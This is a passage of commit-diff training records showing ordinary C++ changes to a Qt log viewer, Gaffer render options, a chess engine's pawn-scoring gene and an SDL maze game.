}\n  auto cs = sl.join(\"\\n\");\n  qDebug() << cs;\n  clipboard->setText(cs);\n}\n\nvoid LogViewer::customContextMenu(const QPoint &) {\n  qDebug() << \"customContextMenu\";\n  QMenu menu;\n  menu.addAction(this->ui->actioncopy);\n  menu.exec(QCursor::pos());\n}\n\nbool LogViewer::eventFilter(QObject *object, QEvent *event) {\n  if (object == ui->listView && event->type() == QEvent::KeyPress) {\n    QKeyEvent *ke = static_cast<QKeyEvent *>(event);\n    if (ke->key() == Qt::Key_C &&\n        ke->modifiers() == Qt::KeyboardModifier::ControlModifier) {\n      this->copySelectedSlot();\n      return true;\n    }\n  }\n  return false;\n}\n\nvoid LogViewer::selectRow(int row) {\n  ui->listView->selectionModel()->clearSelection();\n\n  auto index = m_model->index(row, 0);\n\n  ui->listView->selectionModel()->select(index,\n                                         QItemSelectionModel::SelectionFlag::Select);\n  ui->listView->scrollTo(index);\n}\n<commit_msg>logview spacing.<commit_after>#include \"logviewer.h\"\n#include \"ui_logviewer.h\"\n#include <QApplication>\n#include <QClipboard>\n#include <QDebug>\n#include <QKeyEvent>\n#include <QMenu>\n#include <QScrollBar>\n\nLogViewer::LogViewer(const QFont &font, QWidget *parent)\n    : QWidget(parent), ui(new Ui::LogViewer), m_default_font(font) {\n  qDebug() << \"font: \" << font.toString();\n  ui->setupUi(this);\n  auto lb = ui->listView;\n\n  m_delegate.m_default_font = m_default_font;\n\n  lb->setAlternatingRowColors(true);\n  lb->setItemDelegate(&m_delegate);\n  lb->setSelectionMode(QAbstractItemView::SelectionMode::ExtendedSelection);\n  lb->installEventFilter(this);\n  lb->setUniformItemSizes(true);\n  lb->setLayoutMode(QListView::LayoutMode::Batched);\n  lb->setSpacing(0);\n\n  lb->setContextMenuPolicy(Qt::ContextMenuPolicy::CustomContextMenu);\n  connect(lb, SIGNAL(customContextMenuRequested(const QPoint &)), this,\n          SLOT(customContextMenu(const QPoint &)));\n  connect(lb->verticalScrollBar(), &QScrollBar::rangeChanged, this,\n          &LogViewer::onScrollRangeChanged);\n  connect(ui->actioncopy, &QAction::triggered, this, &LogViewer::copySelectedSlot);\n}\n\nLogViewer::~LogViewer() {\n  delete ui;\n}\n\nvoid LogViewer::setModel(Log *model_) {\n  this->ui->listView->setModel(model_);\n  model_->setListVoxObject(this->ui->listView);\n  m_model = model_;\n  connect(model_, SIGNAL(rowsInserted(QModelIndex, int, int)), this->ui->listView,\n          SLOT(scrollToBottom()));\n}\n\nvoid LogViewer::setAutoScroll(bool value) {\n  m_autoscroll = value;\n  if (value) {\n    ui->listView->scrollToBottom();\n  }\n}\n\nvoid LogViewer::onScrollRangeChanged(int min, int max) {\n  Q_UNUSED(min);\n  Q_UNUSED(max);\n  if (m_autoscroll) {\n    ui->listView->scrollToBottom();\n  }\n}\n\nvoid LogViewer::copySelectedSlot() {\n  qDebug() << \"copySelectedSlot\";\n  auto selectedIndexes = this->ui->listView->selectionModel()->selectedIndexes();\n  QClipboard *clipboard = QApplication::clipboard();\n  QStringList sl;\n  for (auto &i : selectedIndexes) {\n    auto plainText = m_model->plainText(i);\n    plainText.remove(\"\\u0000\");\n    plainText.remove(\"\\0\");\n    plainText.remove('\\r');\n    plainText.remove('\\n');\n    sl.append(plainText);\n  }\n  auto cs = sl.join(\"\\n\");\n  qDebug() << cs;\n  clipboard->setText(cs);\n}\n\nvoid LogViewer::customContextMenu(const QPoint &) {\n  qDebug() << \"customContextMenu\";\n  QMenu menu;\n  menu.addAction(this->ui->actioncopy);\n  menu.exec(QCursor::pos());\n}\n\nbool LogViewer::eventFilter(QObject *object, QEvent *event) {\n  if (object == ui->listView && event->type() == QEvent::KeyPress) {\n    QKeyEvent *ke = static_cast<QKeyEvent *>(event);\n    if (ke->key() == Qt::Key_C &&\n        ke->modifiers() == Qt::KeyboardModifier::ControlModifier) {\n      this->copySelectedSlot();\n      return true;\n    }\n  }\n  return false;\n}\n\nvoid LogViewer::selectRow(int row) {\n  ui->listView->selectionModel()->clearSelection();\n\n  auto index = m_model->index(row, 0);\n\n  ui->listView->selectionModel()->select(index,\n                                         QItemSelectionModel::SelectionFlag::Select);\n  ui->listView->scrollTo(index);\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Made audio sources \"bigger\"<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2012, John Haddon. All rights reserved.\n\/\/  Copyright (c) 2013, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/      * Redistributions of source code must retain the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer.\n\/\/\n\/\/      * Redistributions in binary form must reproduce the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer in the documentation and\/or other materials provided with\n\/\/        the distribution.\n\/\/\n\/\/      * Neither the name of John Haddon nor the names of\n\/\/        any other contributors to this software may be used to endorse or\n\/\/        promote products derived from this software without specific prior\n\/\/        written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"GafferScene\/StandardOptions.h\"\n\nusing namespace Gaffer;\nusing namespace GafferScene;\n\nIE_CORE_DEFINERUNTIMETYPED( StandardOptions );\n\nStandardOptions::StandardOptions( const std::string &name )\n\t:\tOptions( name )\n{\n\tCompoundDataPlug *options = optionsPlug();\n\n\t\/\/ camera\n\n\toptions->addOptionalMember( \"render:camera\", new IECore::StringData(), \"renderCamera\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:resolution\", new IECore::V2iData( Imath::V2i( 1024, 778 ) ), \"renderResolution\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:pixelAspectRatio\", new IECore::FloatData( 1.0f ), \"pixelAspectRatio\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:resolutionMultiplier\", new IECore::FloatData( 1.0f ), \"resolutionMultiplier\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:cropWindow\", new IECore::Box2fData( Imath::Box2f( Imath::V2f( 0 ), Imath::V2f( 1 ) ) ), \"renderCropWindow\", Plug::Default, false );\n\n\toptions->addOptionalMember( \"render:overscan\", new IECore::BoolData( false ), \"overscan\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:overscanTop\", new FloatPlug( \"value\", Plug::In, 0.1f, 0.0f, 1.0f ), \"overscanTop\", false );\n\toptions->addOptionalMember( \"render:overscanBottom\", new FloatPlug( \"value\", Plug::In, 0.1f, 0.0f, 1.0f ), \"overscanBottom\", false );\n\toptions->addOptionalMember( \"render:overscanLeft\", new FloatPlug( \"value\", Plug::In, 0.1f, 0.0f, 1.0f ), \"overscanLeft\", false );\n\toptions->addOptionalMember( \"render:overscanRight\", new FloatPlug( \"value\", Plug::In, 0.1f, 0.0f, 1.0f ), \"overscanRight\", false );\n\t\n\t\/\/ motion blur\n\n\toptions->addOptionalMember( \"render:cameraBlur\", new IECore::BoolData( false ), \"cameraBlur\", Gaffer::Plug::Default, false );\n\toptions->addOptionalMember( \"render:transformBlur\", new IECore::BoolData( false ), \"transformBlur\", Gaffer::Plug::Default, false );\n\toptions->addOptionalMember( \"render:deformationBlur\", new IECore::BoolData( false ), \"deformationBlur\", Gaffer::Plug::Default, false );\n\toptions->addOptionalMember( \"render:shutter\", new IECore::V2fData( Imath::V2f( -0.25, 0.25 ) ), \"shutter\", Gaffer::Plug::Default, false );\n\n}\n\nStandardOptions::~StandardOptions()\n{\n}\n<commit_msg>Added min\/max limits to StandardOptions crop window plug.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (c) 2012, John Haddon. All rights reserved.\n\/\/  Copyright (c) 2013, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/  Redistribution and use in source and binary forms, with or without\n\/\/  modification, are permitted provided that the following conditions are\n\/\/  met:\n\/\/\n\/\/      * Redistributions of source code must retain the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer.\n\/\/\n\/\/      * Redistributions in binary form must reproduce the above\n\/\/        copyright notice, this list of conditions and the following\n\/\/        disclaimer in the documentation and\/or other materials provided with\n\/\/        the distribution.\n\/\/\n\/\/      * Neither the name of John Haddon nor the names of\n\/\/        any other contributors to this software may be used to endorse or\n\/\/        promote products derived from this software without specific prior\n\/\/        written permission.\n\/\/\n\/\/  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/  IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/  PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/  EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/  PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/  PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/  LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/  NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/  SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"GafferScene\/StandardOptions.h\"\n\nusing namespace Gaffer;\nusing namespace GafferScene;\n\nIE_CORE_DEFINERUNTIMETYPED( StandardOptions );\n\nStandardOptions::StandardOptions( const std::string &name )\n\t:\tOptions( name )\n{\n\tCompoundDataPlug *options = optionsPlug();\n\n\t\/\/ camera\n\n\toptions->addOptionalMember( \"render:camera\", new IECore::StringData(), \"renderCamera\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:resolution\", new IECore::V2iData( Imath::V2i( 1024, 778 ) ), \"renderResolution\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:pixelAspectRatio\", new IECore::FloatData( 1.0f ), \"pixelAspectRatio\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:resolutionMultiplier\", new IECore::FloatData( 1.0f ), \"resolutionMultiplier\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:cropWindow\", new Box2fPlug( \"value\", Plug::In, Imath::Box2f( Imath::V2f( 0 ), Imath::V2f( 1 ) ), Imath::V2f( 0 ), Imath::V2f( 1 ) ), \"renderCropWindow\", false );\n\n\toptions->addOptionalMember( \"render:overscan\", new IECore::BoolData( false ), \"overscan\", Plug::Default, false );\n\toptions->addOptionalMember( \"render:overscanTop\", new FloatPlug( \"value\", Plug::In, 0.1f, 0.0f, 1.0f ), \"overscanTop\", false );\n\toptions->addOptionalMember( \"render:overscanBottom\", new FloatPlug( \"value\", Plug::In, 0.1f, 0.0f, 1.0f ), \"overscanBottom\", false );\n\toptions->addOptionalMember( \"render:overscanLeft\", new FloatPlug( \"value\", Plug::In, 0.1f, 0.0f, 1.0f ), \"overscanLeft\", false );\n\toptions->addOptionalMember( \"render:overscanRight\", new FloatPlug( \"value\", Plug::In, 0.1f, 0.0f, 1.0f ), \"overscanRight\", false );\n\t\n\t\/\/ motion blur\n\n\toptions->addOptionalMember( \"render:cameraBlur\", new IECore::BoolData( false ), \"cameraBlur\", Gaffer::Plug::Default, false );\n\toptions->addOptionalMember( \"render:transformBlur\", new IECore::BoolData( false ), \"transformBlur\", Gaffer::Plug::Default, false );\n\toptions->addOptionalMember( \"render:deformationBlur\", new IECore::BoolData( false ), \"deformationBlur\", Gaffer::Plug::Default, false );\n\toptions->addOptionalMember( \"render:shutter\", new IECore::V2fData( Imath::V2f( -0.25, 0.25 ) ), \"shutter\", Gaffer::Plug::Default, false );\n\n}\n\nStandardOptions::~StandardOptions()\n{\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Genes\/Pawn_Advancement_Gene.h\"\n\n#include <string>\n\n#include \"Game\/Board.h\"\n#include \"Pieces\/Piece.h\"\n#include \"Genes\/Piece_Strength_Gene.h\"\n#include \"Utility.h\"\n\nPawn_Advancement_Gene::Pawn_Advancement_Gene(const std::shared_ptr<const Piece_Strength_Gene>& piece_strength_source_in) :\n    Gene(0.0),\n    piece_strength_source(piece_strength_source_in),\n    promoted_pawn_bonus(0.0)\n{\n}\n\nvoid Pawn_Advancement_Gene::reset_properties() const\n{\n    reset_base_properties();\n    properties[\"Promoted Pawn Bonus\"] = promoted_pawn_bonus;\n}\n\nvoid Pawn_Advancement_Gene::load_properties()\n{\n    load_base_properties();\n    promoted_pawn_bonus = properties[\"Promoted Pawn Bonus\"];\n}\n\ndouble Pawn_Advancement_Gene::score_board(const Board& board, Color perspective) const\n{\n    double score = 0.0;\n    int home_rank = (perspective == WHITE ? 2 : 7);\n\n    for(char file = 'a'; file <= 'h'; ++file)\n    {\n        for(int rank = 1; rank <= 8; ++rank)\n        {\n            auto piece = board.piece_on_square(file, rank);\n            if(piece && piece->color() == perspective && toupper(piece->fen_symbol()) == 'P')\n            {\n                \/\/ 1 point per pawn + 1 point per move towards promotion\n                score += std::abs(home_rank - rank);\n            }\n        }\n    }\n\n    if(board.get_game_record().size() < 2)\n    {\n        return score;\n    }\n\n    auto last_move_index = board.get_game_record().size() - (color == board.whose_turn() ? 2 : 1);\n    auto last_move = board.get_game_record()[last_move_index];\n    if(last_move.find('=') != std::string::npos)\n    {\n        auto piece_symbol = String::split(last_move, \"=\")[1][0]; \/\/ char\n        score += promoted_pawn_bonus*piece_strength_source->piece_value(piece_symbol);\n    }\n\n    return score\/(8.*7.); \/\/ normalize to 8 pawns just before promotion\n}\n\nPawn_Advancement_Gene* Pawn_Advancement_Gene::duplicate() const\n{\n    return new Pawn_Advancement_Gene(*this);\n}\n\nstd::string Pawn_Advancement_Gene::name() const\n{\n    return \"Pawn Advancement Gene\";\n}\n\nvoid Pawn_Advancement_Gene::mutate()\n{\n    Gene::mutate();\n    promoted_pawn_bonus += Random::random_normal(1.0);\n    promoted_pawn_bonus = std::max(promoted_pawn_bonus, 0.0);\n}\n\nvoid Pawn_Advancement_Gene::reset_piece_strength_gene(const std::shared_ptr<const Piece_Strength_Gene>& psg)\n{\n    piece_strength_source = psg;\n}\n<commit_msg>Make sure index for last game move is valid<commit_after>#include \"Genes\/Pawn_Advancement_Gene.h\"\n\n#include <string>\n\n#include \"Game\/Board.h\"\n#include \"Pieces\/Piece.h\"\n#include \"Genes\/Piece_Strength_Gene.h\"\n#include \"Utility.h\"\n\nPawn_Advancement_Gene::Pawn_Advancement_Gene(const std::shared_ptr<const Piece_Strength_Gene>& piece_strength_source_in) :\n    Gene(0.0),\n    piece_strength_source(piece_strength_source_in),\n    promoted_pawn_bonus(0.0)\n{\n}\n\nvoid Pawn_Advancement_Gene::reset_properties() const\n{\n    reset_base_properties();\n    properties[\"Promoted Pawn Bonus\"] = promoted_pawn_bonus;\n}\n\nvoid Pawn_Advancement_Gene::load_properties()\n{\n    load_base_properties();\n    promoted_pawn_bonus = properties[\"Promoted Pawn Bonus\"];\n}\n\ndouble Pawn_Advancement_Gene::score_board(const Board& board, Color perspective) const\n{\n    double score = 0.0;\n    int home_rank = (perspective == WHITE ? 2 : 7);\n\n    for(char file = 'a'; file <= 'h'; ++file)\n    {\n        for(int rank = 1; rank <= 8; ++rank)\n        {\n            auto piece = board.piece_on_square(file, rank);\n            if(piece && piece->color() == perspective && toupper(piece->fen_symbol()) == 'P')\n            {\n                \/\/ 1 point per pawn + 1 point per move towards promotion\n                score += std::abs(home_rank - rank);\n            }\n        }\n    }\n\n    if(board.get_game_record().size() < 2)\n    {\n        return score;\n    }\n\n    auto last_move_index = int(board.get_game_record().size()) - (perspective == board.whose_turn() ? 2 : 1);\n    auto last_move = (last_move_index >= 0 ? board.get_game_record()[last_move_index] : std::string());\n    if(last_move.find('=') != std::string::npos)\n    {\n        auto piece_symbol = String::split(last_move, \"=\")[1][0]; \/\/ char\n        score += promoted_pawn_bonus*piece_strength_source->piece_value(piece_symbol);\n    }\n\n    return score\/(8.*7.); \/\/ normalize to 8 pawns just before promotion\n}\n\nPawn_Advancement_Gene* Pawn_Advancement_Gene::duplicate() const\n{\n    return new Pawn_Advancement_Gene(*this);\n}\n\nstd::string Pawn_Advancement_Gene::name() const\n{\n    return \"Pawn Advancement Gene\";\n}\n\nvoid Pawn_Advancement_Gene::mutate()\n{\n    Gene::mutate();\n    promoted_pawn_bonus += Random::random_normal(1.0);\n    promoted_pawn_bonus = std::max(promoted_pawn_bonus, 0.0);\n}\n\nvoid Pawn_Advancement_Gene::reset_piece_strength_gene(const std::shared_ptr<const Piece_Strength_Gene>& psg)\n{\n    piece_strength_source = psg;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <cstdio>\r\n#include <cstdlib>\r\n#include <string>\r\n#include <cmath>\r\n#include <SDL\/SDL.h>\r\n#include <SDL\/SDL_opengl.h>\r\n#include <SDL\/SDL_mixer.h>\r\n\r\n#include \"main_game.h\"\r\n#include \"game_state.h\"\r\n#include \"render_world.h\"\r\n#include \"defs.h\"\r\n#include \"audio.h\"\r\n#include \"texture.h\"\r\n\r\nusing namespace std;\r\n\r\n\/*Our maze*\/ \/\/creates new instance\r\n\/\/Maze maze;\r\n\r\nMaze maze;\r\n\r\n\/* For move function *\/\r\nint turning_left_global;\r\nint turning_right_global;\r\nint moving_fowards_global;\r\n\r\n\/*Our player data structure - Where we are in the world *\/\r\nint x_position = 0;\r\nint y_position = 0;\r\nint orientation;\r\n\r\n\/*Where we start*\/\r\nint start_x = 0;\r\nint start_y = 0;\r\nint end_x = 0;\r\nint end_y = 3;\r\n\r\n\/*Music*\/\r\nMix_Music *world_music;\r\n\r\n\/*Modifies the players position\/orientation based\r\n  on input variables such as moving_fowards_global*\/\r\nvoid move(){\r\n  if(moving_fowards_global){\r\n    if(orientation == NORTH){\r\n      if(maze.value_at(x_position, y_position, NORTH) != 0){\r\n\tprintf(\"No\");\r\n      }\r\n      else{\r\n\tif(y_position < 2){\r\n\ty_position++;\r\n\t}\r\n      \r\n      }\r\n    }\r\n    if(orientation == SOUTH){\r\n      if(maze.value_at(x_position, y_position, SOUTH) != 0){\r\n\tprintf(\"No\");\r\n      }\r\n      else{\r\n\tif(y_position > 0){\r\n\ty_position--;\r\n\t}\r\n      }\r\n    }\r\n\r\n    if(orientation == EAST){\r\n      if(maze.value_at(x_position, y_position, WEST) != 0){\r\n\tprintf(\"No\");\r\n      }\r\n      else{\r\n\tif(x_position > 0){\r\n\tx_position--;\r\n\t}\r\n      }\r\n    }\r\n      \r\n    if(orientation == WEST){\r\n    if(maze.value_at(x_position, y_position, EAST) != 0){\r\n\tprintf(\"No\");\r\n      }\r\n      else{\r\n\tif(x_position < 2){\r\n\tx_position++;\r\n\t}\r\n      }\r\n    }\r\n  }\r\n\r\n\r\n else if(turning_right_global){\r\n    if(orientation == WEST){\r\n      orientation = NORTH;\r\n    }\r\n    else{\r\n      orientation++;\r\n    }\r\n  }\r\n else if(turning_left_global){\r\n    if(orientation == NORTH){\r\n      orientation = WEST ;\r\n    }\r\n    else{\r\n      orientation--;\r\n    } \r\n  }\r\n  if(orientation == SOUTH){\r\n  printf(\"%d %d SOUTH\\n\", x_position, y_position);\r\n  }\r\nif(orientation == NORTH){\r\n  printf(\"%d %d NORTH\\n\", x_position, y_position);\r\n  }\r\nif(orientation == EAST){\r\n  printf(\"%d %d EAST\\n\", x_position, y_position);\r\n  }\r\nif(orientation == WEST){\r\n  printf(\"%d %d WEST\\n\", x_position, y_position);\r\n  }\r\n\r\n  \/*If these aren't reset the player races off at the speed of light*\/\r\n  moving_fowards_global = 0;\r\n  turning_left_global = 0;\r\n  turning_right_global = 0;\r\n}\r\n\r\n\/*Called when a key is released*\/\r\nvoid inGameKeyboardUp(SDLKey key)\r\n{\r\n\r\n  if (key == SDLK_LEFT){\r\n    turning_left_global = false;\r\n  }\r\n  else if(key == SDLK_RIGHT){\r\n    turning_right_global = false;\r\n  }\r\n\r\n  else if(key == SDLK_UP){\r\n    moving_fowards_global = false;\r\n  }\r\n\r\n}\r\n\r\n\/*Called when a key is held down*\/\r\nvoid inGameKeyboardDown(SDLKey key){\r\n  if(key == SDLK_LEFT){\r\n    turning_left_global = true;\r\n  }\r\n\r\n  else if(key == SDLK_UP){\r\n    moving_fowards_global = true;\r\n  }\r\n\r\n  else if(key == SDLK_RIGHT){\r\n    turning_right_global = true;\r\n  }\r\n}\r\n\r\n\/*Our main game function.. checks for input, moves and redraws the screen.\r\n\r\n  TODO: Needs to be changed to a timer function later so it dosen't hog 100%cpu *\/\r\nvoid idle(void){\r\n\r\n  if(turning_left_global == true || turning_right_global == true\r\n     || moving_fowards_global == true){\r\n    move();\r\n  }\r\n  \r\n  if(x_position == end_x && y_position == end_y){\r\n\r\n    printf(\"You win!\\n\");\r\n    exit(0);\r\n  }\r\n  \/\/glutPostRedisplay(); don't think there is a SDL equivalent of this\r\n  \/\/ so taking it out.\r\n}\r\n\r\n\r\n\/*Leslies code*\/\r\nstatic void initTextures(){\r\n  wall_texture = genTexture(\"data\/images\/textures\/wall.bmp\");\r\n  floor_texture = genTexture(\"data\/images\/textures\/floor.bmp\");\r\n}\r\n\r\nstatic void freeTextures(){\r\n  glDeleteTextures( 1, &wall_texture);\r\n  glDeleteTextures(1, &floor_texture);\r\n}\r\n\r\nstatic void initMusic(){\r\n  world_music = loadAudioFile(\"data\/audio\/music\/test.ogg\");\r\n  \/\/might as well start it playing\r\n  \/\/if(music_on)\r\n  playAudio(world_music,-1);\/\/-1 loops forever\r\n}\r\n\r\nstatic void freeMusic(){                                                                                                                                                            \r\n  unloadAudioFile(world_music);                                                                                                                                                      \r\n}\r\n\/\/This code will need to be moved to main_game later.\r\n\/*Initialization of the game*\/\r\nint gameInit(){\r\n  x_position = 0;\r\n  y_position = 0;\r\n  orientation = WEST;\r\n  end_x = 9;\r\n  end_y = 9;\r\n\r\n  initTextures();\r\n  initMusic();\r\n  reshape(SCREEN_WIDTH,SCREEN_HEIGHT);\r\n  return 0;\r\n}\r\n\r\nint gameDeInit(){\r\n  if(isAudioPlaying())\r\n    stopAllAudio();\r\n  freeTextures();\r\n  freeMusic();\r\n  return 0;\r\n}\r\n\r\n\r\n\r\n<commit_msg>Small change<commit_after>#include <cstdio>\r\n#include <cstdlib>\r\n#include <string>\r\n#include <cmath>\r\n#include <SDL\/SDL.h>\r\n#include <SDL\/SDL_opengl.h>\r\n#include <SDL\/SDL_mixer.h>\r\n\r\n#include \"main_game.h\"\r\n#include \"game_state.h\"\r\n#include \"render_world.h\"\r\n#include \"defs.h\"\r\n#include \"audio.h\"\r\n#include \"texture.h\"\r\n\r\nusing namespace std;\r\n\r\n\/*Our maze*\/ \/\/creates new instance\r\n\/\/Maze maze;\r\n\r\nMaze maze;\r\n\r\n\/* For move function *\/\r\nint turning_left_global;\r\nint turning_right_global;\r\nint moving_fowards_global;\r\n\r\n\/*Our player data structure - Where we are in the world *\/\r\nint x_position = 0;\r\nint y_position = 0;\r\nint orientation;\r\n\r\n\/*Where we start*\/\r\nint start_x = 0;\r\nint start_y = 0;\r\nint end_x = 0;\r\nint end_y = 3;\r\n\r\n\/*Music*\/\r\nMix_Music *world_music;\r\n\r\n\/*Modifies the players position\/orientation based\r\n  on input variables such as moving_fowards_global*\/\r\nvoid move(){\r\n  if(moving_fowards_global){\r\n    if(orientation == NORTH){\r\n      if(maze.value_at(x_position, y_position, NORTH) != 0){\r\n\tprintf(\"No\");\r\n      }\r\n      else{\r\n\tif(y_position < 2){\r\n\ty_position++;\r\n\t}\r\n      \r\n      }\r\n    }\r\n    if(orientation == SOUTH){\r\n      if(maze.value_at(x_position, y_position, SOUTH) != 0){\r\n\tprintf(\"No\");\r\n      }\r\n      else{\r\n\tif(y_position > 0){\r\n\ty_position--;\r\n\t}\r\n      }\r\n    }\r\n\r\n    if(orientation == EAST){\r\n      if(maze.value_at(x_position, y_position, WEST) != 0){\r\n\tprintf(\"No\");\r\n      }\r\n      else{\r\n\tif(x_position > 0){\r\n\tx_position--;\r\n\t}\r\n      }\r\n    }\r\n      \r\n    if(orientation == WEST){\r\n    if(maze.value_at(x_position, y_position, EAST) != 0){\r\n\tprintf(\"No\");\r\n      }\r\n      else{\r\n\tif(x_position < 2){\r\n\tx_position++;\r\n\t}\r\n      }\r\n    }\r\n  }\r\n\r\n\r\n else if(turning_right_global){\r\n    if(orientation == WEST){\r\n      orientation = NORTH;\r\n    }\r\n    else{\r\n      orientation++;\r\n    }\r\n  }\r\n else if(turning_left_global){\r\n    if(orientation == NORTH){\r\n      orientation = WEST ;\r\n    }\r\n    else{\r\n      orientation--;\r\n    } \r\n  }\r\n  if(orientation == SOUTH){\r\n  printf(\"%d %d SOUTH\\n\", x_position, y_position);\r\n  }\r\nif(orientation == NORTH){\r\n  printf(\"%d %d NORTH\\n\", x_position, y_position);\r\n  }\r\nif(orientation == EAST){\r\n  printf(\"%d %d EAST\\n\", x_position, y_position);\r\n  }\r\nif(orientation == WEST){\r\n  printf(\"%d %d WEST\\n\", x_position, y_position);\r\n  }\r\n\r\n  \/*If these aren't reset the player races off at the speed of light*\/\r\n  moving_fowards_global = 0;\r\n  turning_left_global = 0;\r\n  turning_right_global = 0;\r\n}\r\n\r\n\/*Called when a key is released*\/\r\nvoid inGameKeyboardUp(SDLKey key)\r\n{\r\n\r\n  if (key == SDLK_LEFT){\r\n    turning_left_global = false;\r\n  }\r\n  else if(key == SDLK_RIGHT){\r\n    turning_right_global = false;\r\n  }\r\n\r\n  else if(key == SDLK_UP){\r\n    moving_fowards_global = false;\r\n  }\r\n\r\n}\r\n\r\n\/*Called when a key is held down*\/\r\nvoid inGameKeyboardDown(SDLKey key){\r\n  if(key == SDLK_LEFT){\r\n    turning_left_global = true;\r\n  }\r\n\r\n  else if(key == SDLK_UP){\r\n    moving_fowards_global = true;\r\n  }\r\n\r\n  else if(key == SDLK_RIGHT){\r\n    turning_right_global = true;\r\n  }\r\n}\r\n\r\n\/*Our main game function.. checks for input, moves and redraws the screen.\r\n\r\n  TODO: Needs to be changed to a timer function later so it dosen't hog 100%cpu *\/\r\nvoid idle(void){\r\n\r\n  if(turning_left_global == true || turning_right_global == true\r\n     || moving_fowards_global == true){\r\n    move();\r\n  }\r\n  \r\n  if(x_position == end_x && y_position == end_y){\r\n\r\n    printf(\"You win!\\n\");\r\n    exit(0);\r\n  }\r\n  \/\/glutPostRedisplay(); don't think there is a SDL equivalent of this\r\n  \/\/ so taking it out.\r\n}\r\n\r\n\r\n\/*Leslies code*\/\r\nstatic void initTextures(){\r\n  wall_texture = genTexture(\"data\/images\/textures\/wall.bmp\");\r\n  floor_texture = genTexture(\"data\/images\/textures\/floor.bmp\");\r\n}\r\n\r\nstatic void freeTextures(){\r\n  glDeleteTextures( 1, &wall_texture);\r\n  glDeleteTextures(1, &floor_texture);\r\n}\r\n\r\nstatic void initMusic(){\r\n  world_music = loadAudioFile(\"data\/audio\/music\/test.ogg\");\r\n  \/\/might as well start it playing\r\n  \/\/if(music_on)\r\n  playAudio(world_music,-1);\/\/-1 loops forever\r\n}\r\n\r\nstatic void freeMusic(){                                                                                                                                                            \r\n  unloadAudioFile(world_music);                                                                                                                                                      